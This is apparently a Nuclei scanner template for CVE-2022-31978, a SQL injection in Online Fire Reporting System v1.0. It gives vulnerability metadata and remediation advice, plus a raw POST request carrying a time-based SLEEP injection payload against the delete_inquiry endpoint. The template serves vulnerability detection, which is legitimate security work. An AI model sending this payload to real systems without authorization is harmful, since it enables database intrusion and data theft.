id: CVE-2022-31978

info:
  name: Online Fire Reporting System v1.0 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/classes/Master.php?f=delete_inquiry.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being used in SQL queries.
  reference:
    - https://github.com/debug601/bug_report/blob/main/vendors/oretnom23/online-fire-reporting-system/SQLi-5.md
    - https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31978
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31978
    cwe-id: CWE-89
    epss-score: 0.48185
    epss-percentile: 0.97774
    cpe: cpe:2.3:a:online_fire_reporting_system_project:online_fire_reporting_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: online_fire_reporting_system_project
    product: online_fire_reporting_system
  tags: time-based-sqli,cve,cve2022,sqli,online-fire-reporting,online_fire_reporting_system_project,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /classes/Master.php?f=delete_inquiry HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id='+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "status\":\"success")'
        condition: and
# digest: 4a0a00473045022100bc18929113415f80bc6460f03a610d1664df70e608e75172b622ba57eaa94d3602202b0db22ffd4176e892945bfb49e4846adb8e23930afc5b8d1d30d70f62720277:922c64590222798bb761d5b6d8e72950